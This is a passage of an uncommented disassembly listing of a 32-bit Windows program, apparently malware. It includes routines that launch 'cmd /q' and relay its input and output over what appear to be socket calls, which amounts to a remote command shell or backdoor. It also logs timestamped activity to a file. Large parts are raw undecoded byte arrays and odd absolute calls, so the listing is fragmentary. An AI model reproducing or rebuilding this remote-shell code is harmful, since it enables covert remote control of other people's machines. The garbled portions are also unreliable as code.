		jmp	short loc_410F1A
; ---------------------------------------------------------------------------

loc_410F14:				; CODE XREF: sub_410E26+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi

loc_410F1A:				; CODE XREF: sub_410E26+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F1F	proc near		; CODE XREF: sub_410E26+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41B590
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270F8
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		nop
		call	near ptr 2700000h
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 2650CD4h
		test	eax, eax
		jz	short loc_410FDB
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_43DEB8[eax], ecx
		nop
		call	near ptr 26509C3h
		jmp	short loc_410FF1
; ---------------------------------------------------------------------------

loc_410FDB:				; CODE XREF: sub_410F1F+9Aj
		nop
		call	near ptr 267084Ch
		push	eax
		push	offset unk_43447C
		call	sub_415220
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx

loc_410FF1:				; CODE XREF: sub_410F1F+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF8	proc near		; DATA XREF: sub_410CD5+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]

loc_411021:				; CODE XREF: sub_410FF8+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411089
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105C

loc_411032:				; CODE XREF: sub_410FF8+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104C
		cmp	dl, 0Dh
		jz	short loc_41104C
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax

loc_41104C:				; CODE XREF: sub_410FF8+44j
					; sub_410FF8+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411032

loc_41105C:				; CODE XREF: sub_410FF8+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFC4
		test	eax, eax
		jle	short loc_411089
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411021
; ---------------------------------------------------------------------------

loc_411089:				; CODE XREF: sub_410FF8+2Dj
					; sub_410FF8+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A5
		call	esi
		push	eax
		push	offset dword_4344BC
		call	sub_415220
		pop	ecx
		pop	ecx

loc_4110A5:				; CODE XREF: sub_410FF8+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AA	proc near		; DATA XREF: sub_410CD5+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx

loc_4110C3:				; CODE XREF: sub_4110AA+39j
					; sub_4110AA+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAF8C
		test	eax, eax
		jle	loc_4111C8
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E5
		dec	[ebp+var_10]
		jmp	short loc_4110C3
; ---------------------------------------------------------------------------

loc_4110E5:				; CODE XREF: sub_4110AA+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A8
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411155
		cmp	al, 7Fh
		jz	short loc_411155
		cmp	al, 3
		jnz	short loc_411110
		push	ebx
		push	ebx
		nop
		call	near ptr 2770000h
		jmp	short loc_41117C
; ---------------------------------------------------------------------------

loc_411110:				; CODE XREF: sub_4110AA+5Aj
		cmp	al, 15h
		jnz	short loc_411132
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411168
; ---------------------------------------------------------------------------

loc_411132:				; CODE XREF: sub_4110AA+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411169
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411168
; ---------------------------------------------------------------------------

loc_411155:				; CODE XREF: sub_4110AA+52j
					; sub_4110AA+56j
		cmp	esi, ebx
		jbe	short loc_41117F
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3

loc_411168:				; CODE XREF: sub_4110AA+86j
					; sub_4110AA+A9j
		pop	ecx

loc_411169:				; CODE XREF: sub_4110AA+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CAFC4
		test	eax, eax
		jle	short loc_4111C8

loc_41117C:				; CODE XREF: sub_4110AA+64j
		mov	al, byte ptr [ebp+arg_0+3]

loc_41117F:				; CODE XREF: sub_4110AA+ADj
		cmp	al, 0Dh
		jnz	loc_4110C3
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jz	short loc_4111C8
		xor	esi, esi
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111A8:				; CODE XREF: sub_4110AA+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111B9
		mov	[ebp+var_C], 1
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111B9:				; CODE XREF: sub_4110AA+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C3
; ---------------------------------------------------------------------------

loc_4111C8:				; CODE XREF: sub_4110AA+2Bj
					; sub_4110AA+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AA	endp

; ---------------------------------------------------------------------------
byte_4111CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2C07o
		dd 2D4EC81h, 458B0000h,	57565308h, 0F08B106Ah, 2CBD8D5Bh
		dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h,	0A8B889h
		dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
		dd 75FF0002h, 7415FFC0h, 6A004CAFh, 26A5706h, 0EE458966h
		dd 0FFF07589h, 4CAFF415h, 8BF88B00h, 0C069C445h, 234h
		dd 0BCB88953h, 8D0043DEh, 5750EC45h, 0AFA015FFh, 0C085004Ch
		dd 121850Fh, 0A6A0000h,	9C15FF57h, 85004CAFh, 10850FC0h
		dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
		dd 0FFFD2C85h, 0B8C068FFh, 0E8500042h, 0A606h, 3910C483h
		dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h,	0FFFF3085h
		dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
		dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
		dd 4CB008h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
		dd 0B00015FFh, 8D50004Ch, 0FFFD2C85h, 456868FFh, 0E8500043h
		dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
		dd 0C069C845h, 234h, 83C44D8Bh,	888920C4h, 43DEB4h, 5008458Dh
		dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 0E8565600h, 225ECD8h
		dd 0C84D8B90h, 234C969h, 0C63B0000h, 0DEC48189h, 13740043h
		dd 0FD87539h, 0FFFF6385h, 90056AFFh, 24FB6AE8h,	90EDEB02h
		dd 25F4F7E8h, 858D5002h, 0FFFFFD2Ch, 43452C68h,	1FE85000h
		dd 830000A5h, 39E90CC4h, 57FFFFFFh, 0B00C15FFh,	75FF004Ch
		dd 2C858DC0h, 68FFFFFDh, 4344F8h, 0A4FCE850h, 0C4830000h
		dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
		dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
		dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
		dd 31E89056h, 5F022BECh, 8B555B5Eh, 0D4EC81ECh,	8B000005h
		dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
		dd 89016AD4h, 0F6690875h, 234h,	0BCB68D5Fh, 890043DEh
		dd 0ACB8h, 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh
		dd 8D5350F8h, 0FFFA2C85h, 535053FFh, 89FC5D89h,	0FFFA2CBDh
		dd 5C15FFFFh, 85004CAFh, 0FF1875C0h, 0C15FF36h,	0FF004CB0h
		dd 0C7E80875h, 59FFFF9Fh, 0EBAEE853h, 5390022Bh, 0FB30858Dh
		dd 868FFFFh, 50000004h,	15FF36FFh, 4CAF8Ch, 187FC085h
		dd 15FF36FFh, 4CB00Ch, 0E80875FFh, 0FFFF9F96h, 0E8905359h
		dd 22BEB7Ch, 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h
		dd 1FFFFFBh, 1E0850Fh, 5D380000h, 8D7774BCh, 8D50BC45h
		dd 0FFFB3885h, 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h
		dd 38858D50h, 50FFFFFBh, 43463068h, 3D52E800h, 680000h
		dd 8D000004h, 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh
		dd 5DFFFFFBh, 0A0A3E8h,	18C48300h, 0FB30858Dh, 6A53FFFFh
		dd 36FF5008h, 0AFC415FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch
		dd 9F00E808h, 5359FFFFh, 0EAE6E890h, 106A022Bh,	53E8458Dh
		dd 0A06AE850h, 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h
		dd 0FB34858Bh, 66AFFFFh, 66026A57h, 2E845C7h, 0EC458900h
		dd 0AFF415FFh, 0F88B004Ch, 75FFFF83h, 815FF5Dh,	50004CAFh
		dd 4345F068h, 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh,	0A00BE8h
		dd 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0AFC415FFh
		dd 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9E68E808h,	5359FFFFh
		dd 0EA4EE890h, 458D022Bh, 50106AE8h, 1C15FF57h,	83004CAFh
		dd 5D75FFF8h, 0AF0815FFh, 6850004Ch, 4345ACh, 3C4BE8h
		dd 4006800h, 858D0000h,	0FFFFFB38h, 9D885053h, 0FFFFFB30h
		dd 0FB3185C6h, 0E85BFFFFh, 9F9Ch, 8D14C483h, 0FFFB3085h
		dd 86A53FFh, 0FF36FF50h, 4CAFC415h, 0FF36FF00h,	4CB00C15h
		dd 875FF00h, 0FF9DF9E8h, 0E85359FFh, 22BE9E0h, 4006890h
		dd 858D0000h, 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h
		dd 0E85AFFFFh, 9F50h, 8D0CC483h, 0FFFB3085h, 86A53FFh
		dd 0FF36FF50h, 4CAFC415h, 5736FF00h, 39E8h, 57595900h
		dd 0B00C15FFh, 36FF004Ch, 0B00C15FFh, 75FF004Ch, 9D9CE808h
		dd 5359FFFFh, 2BE983E8h, 36FF9002h, 0B00C15FFh,	75FF004Ch
		dd 9D84E808h, 5359FFFFh, 0E96AE890h
; ---------------------------------------------------------------------------
		sub	eax, [edx]
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_4116AC:				; CODE XREF: ___:0041175Bj
					; ___:0041178Bj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]

loc_4116C4:				; CODE XREF: ___:004116D2j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D4
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C4

loc_4116D4:				; CODE XREF: ___:004116C9j
		cmp	ecx, 1
		jnz	short loc_4116E9
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2

loc_4116E9:				; CODE XREF: ___:004116D7j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CAF5C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CAE60
		test	eax, eax
		jz	short loc_411749
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791

loc_411749:				; CODE XREF: ___:0041171Bj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAE60
		test	eax, eax
		jz	loc_4116AC
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAF8C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AC

loc_411791:				; CODE XREF: ___:00411730j
					; ___:00411747j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
word_411796	dw 8B55h		; DATA XREF: sub_401ACD+210Do
					; sub_40BACD+106o
		dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
		dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah,	0FE9C85FFh
		dd 26AFFFFh, 89F04589h,	4589EC45h, 0A08289F8h, 0FF000002h
		dd 4CAFF415h, 83F08B00h, 5675FFFEh, 19068h, 0CCE89000h
		dd 390224F6h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
		dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
		dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h,	0B5FF0000h
		dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 2BE7CBE8h, 458D9002h
		dd 50046AF0h, 0FFFFBFh,	57046A00h, 5415FF56h, 8D004CAFh
		dd 46AEC45h, 57FB6A50h,	5415FF56h, 8B004CAFh, 0FFFE9885h
		dd 69106AFFh, 234C0h, 0B0895300h, 43DEBCh, 50D4458Dh, 9D17E8h
		dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 0AF7415FFh
		dd 8966004Ch, 458DD645h, 50106AD4h, 0D85D8956h,	0AFA015FFh
		dd 0F883004Ch, 681975FFh, 1388h, 24F606E8h, 8DFF9002h
		dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
		dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
		dd 0E8000001h, 224F5D3h, 858D5390h, 0FFFFF888h,	0FF24B5FFh
		dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
		dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF9AF6h, 531CC483h, 0E6DAE890h, 7D8B022Bh, 0A09F3908h
		dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
		dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
		dd 1FFh, 9C2AE800h, 0C4830000h,	0E4458D0Ch, 858D5350h
		dd 0FFFFF784h, 0FF535053h, 4CAF5C15h, 0FC08500h, 2398Eh
		dd 0D128A000h, 0CF8B0043h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
		dd 45C7FFFFh, 10F4h, 66ABF300h,	458DAAABh, 458D50F4h, 8D5350C4h
		dd 0FFFF3085h, 8068FFh,	56500000h, 0AF4C15FFh, 75FF004Ch
		dd 0F84589C8h, 0B00015FFh, 8D50004Ch, 0E850B045h, 9EAEh
		dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h,	0FFFFFF31h
		dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
		dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
		dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
		dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
		dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
		dd 0FF5650FFh, 4CAFD815h, 0B0458D00h, 88858D50h, 68FFFFF8h
		dd 43469Ch, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
		dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
		dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
		dd 0E850FFFFh, 3704h, 110E959h,	0BD800000h, 0FFFFFF31h
		dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
		dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
		dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
		dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
		dd 200BFh, 9E0C100h, 5053C72Bh,	0E8FC75FFh, 0B6D4h, 8DFC75FFh
		dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h,	8DF88B1Ch
		dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
		dd 15FF5650h, 4CAFD8h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
		dd 7C68FFFFh, 50004346h, 9D21E8h, 0CC48300h, 0FF289D39h
		dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
		dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
		dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4CDA7C05h, 16EB5900h
		dd 8DF475FFh, 5350C445h, 7068096Ah, 56004346h, 0AFD815FFh
		dd 5D39004Ch, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh,	4CB00C15h
		dd 0FC75FF00h, 9482E8h,	9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
		dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 5E89053h, 68022BE4h
		dd 3E8h, 0F2B1E890h, 0E8570224h, 0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 277010Fh
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		nop
		call	near ptr 2660979h
		lea	eax, [ebp-114h]
		push	offset asc_434E5C ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_429118
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7A
		push	1
		pop	eax
		jmp	short loc_411CF1
; ---------------------------------------------------------------------------

loc_411C7A:				; CODE XREF: ___:00411C73j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CEF
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_434E2C
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A72
		add	esp, 24h

loc_411CEF:				; CODE XREF: ___:00411CB6j
		xor	eax, eax

loc_411CF1:				; CODE XREF: ___:00411C78j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
dword_411CF4	dd 81EC8B55h, 8DCECh, 8458B00h,	83575653h, 0FFF724A5h
					; DATA XREF: sub_401ACD+4508o
		dd 256A00FFh, 0FC6583h,	8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
		dd 9080h, 100h,	0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
		dd 0AEF815FFh, 4D8D004Ch, 513C6AB8h, 0F8458950h, 0AF1015FFh
		dd 0BB004Ch, 6A000002h,	0F161E808h, 0FF900224h,	4CAEF815h
		dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 0AF1015FFh
		dd 458D004Ch, 858D50B8h, 0FFFFFD24h, 24858D50h,	68FFFFFBh
		dd 434E8Ch, 9AF8E850h, 0EC810000h, 84h,	0FF24B58Dh, 858DFFFFh
		dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
		dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h,	0A4C4h
		dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
		dd 46C40845h, 106A0043h, 0AE4815FFh, 0BF0F004Ch, 8458BF0h
		dd 57FC788Bh, 0AF4015FFh, 0C4F6004Ch, 6A7B7480h, 4815FF14h
		dd 66004CAEh, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
		dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
		dd 4815FF14h, 66004CAEh, 1E74C085h, 2E7DF685h, 7E40FF83h
		dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
		dd 84C7107Dh, 0FFF724BDh, 3FFh,	140E900h, 84C70000h, 0FFF724BDh
		dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
		dd 0FFFFF724h, 840FF685h, 11Ah,	8D002083h, 0FFFD2485h
		dd 8FF83FFh, 0E8137550h, 9140h,	2305A480h, 0FFFFFDh, 0F8E959h
		dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4CAEF815h, 0B84D8D00h
		dd 50513C6Ah, 0AF1015FFh, 458D004Ch, 858D50B8h,	0FFFFFD24h
		dd 4E746850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h, 50FFFFFDh
		dd 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h, 4CAEF8h, 6AB84D8Dh
		dd 0FF50513Ch, 4CAF1015h, 0B8458D00h, 24858D50h, 50FFFFFDh
		dd 434E6068h, 24858D00h, 50FFFFFBh, 9959E8h, 84EC8100h
		dd 8D000000h, 0FFFF24B5h, 24858DFFh, 6AFFFFFBh,	0FC8B5925h
		dd 0E8A5F350h, 0FFFFFCC7h, 53FC4589h, 0FD24858Dh, 6AFFFFh
		dd 9632E850h, 0C4810000h, 0A4h,	0FB24858Dh, 6A53FFFFh
		dd 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h, 3FE8314h
		dd 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh, 8458B07h
		dd 5007C083h, 0FD24858Dh, 0E850FFFFh, 9F1Ch, 45835959h
		dd 7D811408h, 434DF408h, 278C0F00h, 83FFFFFEh, 0F00FC7Dh
		dd 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h, 90006A59h
		dd 2BE02BE8h
		db 2
byte_411FD5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+412Ao
		dd 102B4B8h, 9B3EE800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0AF7415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF8BE2E8h, 0FF5059FFh, 4CAFB415h, 36A5600h,	4589026Ah
		dd 0F415FFE8h, 8B004CAFh, 0FFFF83F8h, 75FC7D89h, 815FF5Dh
		dd 50004CAFh, 0FD4C858Dh, 0FC68FFFFh, 50004357h, 9821E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h
		dd 565959FFh, 0DF56E890h, 458B022Bh, 69106AD0h,	234C0h
		dd 0BCB88900h, 8D0043DEh, 5750E445h, 0AFA015FFh, 0F883004Ch
		dd 0FF6475FFh, 4CAF0815h, 858D5000h, 0FFFFFD4Ch, 4357D068h
		dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h,	0FD4C858Dh
